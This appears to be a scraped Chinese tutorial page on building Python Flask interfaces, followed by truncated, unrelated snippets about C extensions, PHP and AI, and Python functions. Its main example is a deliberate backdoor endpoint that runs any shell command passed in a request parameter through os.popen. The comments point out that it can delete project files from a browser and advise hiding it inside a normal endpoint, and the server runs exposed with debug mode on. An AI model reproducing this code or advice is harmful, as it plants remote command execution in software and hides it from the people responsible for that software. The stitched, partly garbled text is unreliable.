python可以寫介面嗎 如何用python寫介面

2021-10-19 02:11:06 字數 792 閱讀 8495

如何用python寫介面?具體步驟如下:

1、例項化server

2、裝飾器下面的函式變為乙個介面

3、啟動服務

開發工具和流程:

python庫:flask =》例項化server:server = flask.flask(__name__) =》@server.route('/index',methods=['post'])

=》def index(arg):{}

例子:import os

@server.route('/error',methods=['get'])

def cmd():

cmd = flask.request.values.get('cmd') # 介面入參

res = os.popen(cmd) # 執行使用者命令

return res.read() # 返回執行結果

#  -rf a.txt 後門介面可以直接通過瀏覽器刪除專案檔案

# 隱蔽一點的方法,把cmd = flask.request.values('cmd',none)寫入正常介面

# 預設可以不傳,一但傳了再res = os.popen(cmd)

server.run(port=8888,debug=true,host='0.0.0.0') # 啟動服務

# debug=true,改了**後,不用重啟,它會自動重啟

# 'host='0.0.0.0'別人可以通過ip訪問

如何用Python寫C擴充套件?

1.環境準備 如果是linux只需要安裝python3.x python dev。windows下稍微複雜點,vs2017 python3.6.3 vs2017可用社群版,需要選擇安裝的環境如下 2.1 c模組封裝 以計算兩個數相加為例,選擇任意資料夾,新建如下c語言原始碼 檔名 calc.c in...

php可以寫AI嗎?

ai全稱artificial intelligence 人工智慧 它是研究 開發用於模擬 延伸和擴充套件人的智慧型的理論 方法 技術及應用系統的一門新的技術科學。人工智慧是研究使計算機來模擬人的某些思維過程和智慧型行為 如學習 推理 思考 規劃等 的學科,主要包括計算機實現智慧型的原理 製造類似於人...

python 函式用寫 嗎 python如何寫函式

python函式的定義 定義函式,也就是建立乙個函式,可以理解為建立乙個具有某些用途的工具。定義函式需要用 def 關鍵字實現,具體的語法格式如下 def 函式名 形參列表 由零條到多條可執行語句組成的 塊 return 返回值 其中,用 括起來的為可選擇部分,即可以使用,也可以省略。此格式中,各部...